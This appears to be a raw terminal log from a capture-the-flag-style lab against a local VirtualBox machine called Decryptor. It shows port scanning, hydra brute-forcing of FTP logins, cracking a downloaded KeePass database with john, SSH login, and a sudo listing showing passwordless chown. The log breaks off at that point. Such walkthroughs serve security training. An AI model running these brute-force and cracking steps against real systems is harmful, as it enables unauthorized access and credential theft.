┌──(root㉿Eecho)-[/tmp/bbbb] └─# rustscan -a 192.168.43.141 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Scanning ports like it's my full-time job. Wait, it is.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.43.141:22 Open 192.168.43.141:80 Open 192.168.43.141:2121 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.141 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-18 18:33 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 18:33 Completed NSE at 18:33, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 18:33 Completed NSE at 18:33, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 18:33 Completed NSE at 18:33, 0.00s elapsed Initiating ARP Ping Scan at 18:33 Scanning 192.168.43.141 [1 port] Completed ARP Ping Scan at 18:33, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 18:33 Completed Parallel DNS resolution of 1 host. at 18:33, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 18:33 Scanning 192.168.43.141 [3 ports] Discovered open port 22/tcp on 192.168.43.141 Discovered open port 2121/tcp on 192.168.43.141 Discovered open port 80/tcp on 192.168.43.141 Completed SYN Stealth Scan at 18:33, 0.02s elapsed (3 total ports) Initiating Service scan at 18:33 Scanning 3 services on 192.168.43.141 Completed Service scan at 18:33, 6.02s elapsed (3 services on 1 host) Initiating OS detection (try #1) against 192.168.43.141 NSE: Script scanning 192.168.43.141. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 18:33 Completed NSE at 18:33, 3.11s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 18:33 Completed NSE at 18:33, 0.04s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 18:33 Completed NSE at 18:33, 0.00s elapsed Nmap scan report for 192.168.43.141 Host is up, received arp-response (0.00068s latency). Scanned at 2026-05-18 18:33:18 CST for 11s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 01:86:f3:c5:03:b3:27:0e:47:8e:e9:2e:41:3f:b8:40 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJqyYa1ieA1mClE2y47eICdYbMM693yybTk12+RW6jb7+DhkQVsgTfo3IqjuDN3gkdhweTsuFZywO44UsY5FRE4= | 256 5b:0c:8c:d1:16:99:16:90:59:c7:03:fe:21:67:1b:10 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOh9XeFaVRgjCHFHAdRmn5eDF9LAsSxmWASDSISROjoh 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.59 ((Debian)) |_http-server-header: Apache/2.4.59 (Debian) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-title: Apache2 Debian Default Page: It works 2121/tcp open ftp syn-ack ttl 64 vsftpd 3.0.3 MAC Address: 08:00:27:D1:3B:A7 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=5/18%OT=22%CT=%CU=30588%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=6A0AEAF9%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=103%TI=Z%CI=Z%II=I%T OS:S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5= OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0% OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S= OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R= OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N% OS:T=40%CD=S)
Uptime guess: 29.238 days (since Sun Apr 19 12:50:16 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=255 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.68 ms 192.168.43.141
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 18:33 Completed NSE at 18:33, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 18:33 Completed NSE at 18:33, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 18:33 Completed NSE at 18:33, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.27 seconds Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)
┌──(root㉿Eecho)-[/usr/share/wordlists/seclists/Usernames] └─# hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p marioeatslettuce ftp://192.168.43.141:2121 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-18 18:51:55 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 8295455 login tries (l:8295455/p:1), ~518466 tries per task [DATA] attacking ftp://192.168.43.141:2121/ [STATUS] 304.00 tries/min, 304 tries in 00:01h, 8295151 to do in 454:47h, 16 active [2121][ftp] host: 192.168.43.141 login: mario password: marioeatslettuce
┌──(root㉿Eecho)-[/tmp/bbbb] └─# ftp 192.168.43.141 2121 Connected to 192.168.43.141. 220 (vsFTPd 3.0.3) Name (192.168.43.141:root): mario 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||10478|) 150 Here comes the directory listing. -rw-r--r-- 1 0 0 1390 May 21 2024 user.kdbx 226 Directory send OK. ftp> get user.kdbx local: user.kdbx remote: user.kdbx 229 Entering Extended Passive Mode (|||33761|) 150 Opening BINARY mode data connection for user.kdbx (1390 bytes). 100% |***********************************************************************************************************************************************| 1390 1.34 MiB/s 00:00 ETA 226 Transfer complete. 1390 bytes received in 00:00 (765.60 KiB/s) ftp
┌──(root㉿Eecho)-[/tmp/bbbb] └─# keepass2john user.kdbx > keepass.txt ┌──(root㉿Eecho)-[/tmp/bbbb] └─# john --wordlist=/usr/share/wordlists/rockyou.txt keepass.txt Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64]) Cost 1 (iteration count) is 1 for all loaded hashes Cost 2 (version) is 2 for all loaded hashes Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes Will run 24 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status moonshine1 (user) 1g 0:00:00:01 DONE (2026-05-18 18:56) 0.7042g/s 38738p/s 38738c/s 38738C/s patrizia..miguel01 Use the "--show" option to display all of the cracked passwords reliably Session completed.
┌──(root㉿Eecho)-[/tmp/bbbb] └─# ssh chiquero@192.168.43.141 The authenticity of host '192.168.43.141 (192.168.43.141)' can't be established. ED25519 key fingerprint is: SHA256:XSj79BmqpRvQ78uQQ3A0JTsbPXZVxA6KAqpcPxULbFA This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.43.141' (ED25519) to the list of known hosts. chiquero@192.168.43.141's password: Linux Decryptor 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue May 21 07:52:17 2024 from 192.168.1.35 chiquero@Decryptor:~$ id uid=1002(chiquero) gid=1002(chiquero) groups=1002(chiquero) chiquero@Decryptor:~$
提权
chiquero -> root
1 2 3 4 5 6
chiquero@Decryptor:~$ sudo -l Matching Defaults entries for chiquero on Decryptor: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User chiquero may run the following commands on Decryptor: (ALL) NOPASSWD: /usr/bin/chown
